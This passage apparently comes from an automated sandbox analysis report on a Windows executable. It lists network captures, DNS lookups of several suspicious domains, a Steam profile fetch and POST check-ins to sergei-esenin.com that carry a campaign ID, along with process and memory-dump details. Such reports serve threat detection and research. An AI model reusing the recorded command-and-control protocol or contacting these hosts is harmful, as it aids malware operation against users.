Oct 14, 2024 03:57:12.051000118 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.549774885 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.549983978 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.551697969 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.551726103 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.552642107 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.554214001 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.554258108 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.554477930 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.971836090 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.972109079 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.972316980 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.972623110 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.972623110 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.972657919 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.972676039 CEST	443	49732	172.67.206.204	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 03:57:09.547857046 CEST	60736	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.556580067 CEST	53	60736	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.558058977 CEST	57732	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.566842079 CEST	53	57732	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.567873955 CEST	57641	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.578118086 CEST	53	57641	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.579914093 CEST	54780	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.588543892 CEST	53	54780	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.589679003 CEST	60435	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.598057032 CEST	53	60435	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.602986097 CEST	65256	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.611860037 CEST	53	65256	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.626697063 CEST	63826	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.636102915 CEST	53	63826	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.639455080 CEST	54660	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.648382902 CEST	53	54660	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:09.651525974 CEST	55388	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:09.658164024 CEST	53	55388	1.1.1.1	192.168.2.4
Oct 14, 2024 03:57:11.077238083 CEST	59359	53	192.168.2.4	1.1.1.1
Oct 14, 2024 03:57:11.092847109 CEST	53	59359	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 14, 2024 03:57:09.547857046 CEST	192.168.2.4	1.1.1.1	0x1d46	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.558058977 CEST	192.168.2.4	1.1.1.1	0xcb9f	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.567873955 CEST	192.168.2.4	1.1.1.1	0x5743	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.579914093 CEST	192.168.2.4	1.1.1.1	0x429f	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.589679003 CEST	192.168.2.4	1.1.1.1	0x57fe	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.602986097 CEST	192.168.2.4	1.1.1.1	0xfe2e	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.626697063 CEST	192.168.2.4	1.1.1.1	0xd70e	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.639455080 CEST	192.168.2.4	1.1.1.1	0x8eff	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.651525974 CEST	192.168.2.4	1.1.1.1	0xbfb5	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:11.077238083 CEST	192.168.2.4	1.1.1.1	0x62c	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 14, 2024 03:57:09.556580067 CEST	1.1.1.1	192.168.2.4	0x1d46	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.566842079 CEST	1.1.1.1	192.168.2.4	0xcb9f	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.578118086 CEST	1.1.1.1	192.168.2.4	0x5743	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.588543892 CEST	1.1.1.1	192.168.2.4	0x429f	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.598057032 CEST	1.1.1.1	192.168.2.4	0x57fe	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.611860037 CEST	1.1.1.1	192.168.2.4	0xfe2e	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.636102915 CEST	1.1.1.1	192.168.2.4	0xd70e	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.648382902 CEST	1.1.1.1	192.168.2.4	0x8eff	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:09.658164024 CEST	1.1.1.1	192.168.2.4	0xbfb5	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:11.092847109 CEST	1.1.1.1	192.168.2.4	0x62c	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 14, 2024 03:57:11.092847109 CEST	1.1.1.1	192.168.2.4	0x62c	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sergei-esenin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.102.49.254	443	6848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 01:57:10 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-14 01:57:10 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 14 Oct 2024 01:57:10 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=eca71814040f86585edd9a53; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-14 01:57:10 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-14 01:57:11 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-14 01:57:11 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-14 01:57:11 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.206.204	443	6848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 01:57:11 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-14 01:57:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-14 01:57:11 UTC	547	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 01:57:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WcUUlcq5VQ7lMsCTFh4bPFJkD5YbJtVf0Fnw4vf2LcYfLXDM2wRYkqb7MnBRmUPC4Usma0hyB3bkBi8xj0MT5NBJscqMKflgyKV8yw0rpcRjidjwO0k3yryFi81dhNCdjNee6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d23f50bfa3a0f7d-EWR
2024-10-14 01:57:11 UTC	822	IN	Data Raw: 31 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1151<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-14 01:57:11 UTC	1369	IN	Data Raw: 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 Data Ascii: rrors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-a
2024-10-14 01:57:11 UTC	1369	IN	Data Raw: 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 Data Ascii: phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input typ
2024-10-14 01:57:11 UTC	881	IN	Data Raw: 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e Data Ascii: pan class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_lin
2024-10-14 01:57:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.206.204	443	6848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 01:57:12 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=HZlidKlpcv_p0sfMpNIO76uVyDFPfvMjvRK5J6.GgLc-1728871031-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-14 01:57:12 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-14 01:57:12 UTC	829	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 01:57:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k1iro9et1oulsfh09t1q1t8uf2; expires=Thu, 06 Feb 2025 19:43:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y1JaHRFuQFlR2u377OS1hmRVBJmT%2FquLCwFqz0uJ9h%2BhVpcKtp%2BtQgyqNkN2ITBw9SsoKLJuuxtwl8DOHnnES3XcTIepcZ5AekHNFFXG3Hz3tpcl6%2BXaUpjaLve1be0hmaiZ9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d23f511ee400f83-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 01:57:12 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-14 01:57:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	21:57:05
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x340000
File size:	2'952'192 bytes
MD5 hash:	283F654B01A0041E91613545E4B1B7D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:57:12
Start date:	13/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 1904
Imagebase:	0x2c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:57:12
Start date:	13/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6848 -s 1896
Imagebase:	0x2c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.8%
Total number of Nodes:	212
Total number of Limit Nodes:	15

Executed Functions

Function 0034FCA0 Relevance: 6.6, Strings: 5, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J|BJ, xrefs: 0035000D
t, xrefs: 0034FCBE
VY^_, xrefs: 0034FDFF
V, xrefs: 0034FEDC
HZlidKlpcv_p0sfMpNIO76uVyDFPfvMjvRK5J6.GgLc-1728871031-0.0.1.1-/api, xrefs: 00350137, 00350154

Memory Dump Source

Source File: 00000000.00000002.1971119639.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1971096144.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971176071.00000000003A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971200091.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971318082.00000000004AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971339079.00000000004AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971387871.00000000004FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971408882.0000000000502000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971438825.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971465230.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971487223.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971487223.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971532844.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971566534.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971593396.000000000053A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971634100.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971682075.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971706730.000000000053D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971731572.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971756056.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971784520.000000000055B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971812557.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971838389.0000000000581000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971862301.0000000000585000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971882632.0000000000586000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971906478.000000000058B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971929872.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971950897.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971975495.00000000005A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971996406.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972018258.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972038725.00000000005B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972059818.00000000005BA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972080474.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972100695.00000000005BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972120912.00000000005BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972145600.00000000005C4000.00000080.00000001.01000000.00000003.sdmpDownload File
